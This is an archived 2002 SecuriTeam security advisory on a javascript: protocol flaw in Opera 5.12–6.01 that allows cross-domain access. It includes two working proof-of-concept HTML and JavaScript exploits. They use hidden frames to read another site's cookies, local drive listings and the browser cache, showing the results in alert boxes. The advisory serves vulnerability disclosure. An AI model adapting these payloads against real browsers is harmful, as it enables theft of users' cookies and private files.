

# [NT] Opera JavaScript Protocol Vulnerability

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0073.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 05/18/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sat, 18 May 2002 22:35:34 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Opera JavaScript Protocol Vulnerability

---

## SUMMARY

Opera allows the location of a frame to be overwritten by an URL containing the JavaScript protocol. The JavaScript code will be operating in the same domain as the URL that was overwritten. Thus we can read cookies from other domains, local file structure and private information from the cache (history of links visited).

## DETAILS

Vulnerable systems:

\* Opera 6.01, 6.0, 5.12

Exploit 1:

The following exploit has been tested to work on Opera 6.01, 6.0 (win). It will not work on 5.x because it requires the iframe feature.

----- CUT HERE -----

```
<!frame name=cookie src="http://www.google.com/" height=0
width=0><\/!frame>
<!frame name=files src="file://c:/" height=0 width=0><\/!frame>
<!frame name=cache src="opera:cache" height=0 width=0><\/!frame><br>
<a href="javascr!pt:readCookie()">Read google cookie<\/a><br>
<a href="javascr!pt:readFiles()">Read c:/ structure (win)<\/a><br>
```

## Securiteam: [NT] Opera JavaScript Protocol Vulnerability

```
<a href="javascr!pt:readCache()">Read links in cache</a><br>
<scr!pt>
function readCookie(){
  cookie.location="javascr!pt:alert(document.cookie)";
}
function readFiles(){
  t = 'javascr!pt:s=""&l=document.links;';
  t+= 'for(i=0;l.item(i);i++) s+=l.item(i);alert(s);';
  files.location = t;
}
function readCache(){
  t = 'javascr!pt:s=""&l=document.links;';
  t+= 'for(i=0;l.item(i);i++) s+=l.item(i);alert(s);';
  cache.location = t;
}
</scr!pt>
```

----- CUT HERE -----

(The letter 'i' was replaced with an '!')

### Exploit 2:

For versions of Opera that do not support the 'iframe' tag, the exploit must be done using the 'frame' tag. The following exploit has been tested on Opera 6.01, 6.0, 5.12 (win).

----- CUT HERE -----

```
<HTML>
<FRAMESET ROWS="100%,0,0,0">
<FRAME SRC="payload.html">
<FRAME NAME="cache" src="opera:cache" noresize>
<FRAME NAME="files" src="file:///c:/" noresize>
<FRAME NAME="cookie" src="http://www.google.com/" noresize>
</FRAMESET>
</HTML>
```

----- CUT HERE -----

payload.html:

----- CUT HERE -----

```
<a href="javascr!pt:alert(document.cookie)" target="cookie">Google
cookie</a><br>
<a href="javascr!pt:alert(document.links.item(0))" target="cache">First
item in cache</a><br>
<a href="javascr!pt:alert(document.links.item(1))" target="files">First
file/directory in c:\ (win)</a>
```

----- CUT HERE -----

(The letter 'i' was replaced with an '!')

### ADDITIONAL INFORMATION

The information has been provided by <mailto:sandblad@acc.umu.se> Andreas Sandblad.

Securiteam: [NT] Opera JavaScript Protocol Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] 15 May 2002 Cumulative Patch for Internet Explorer"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)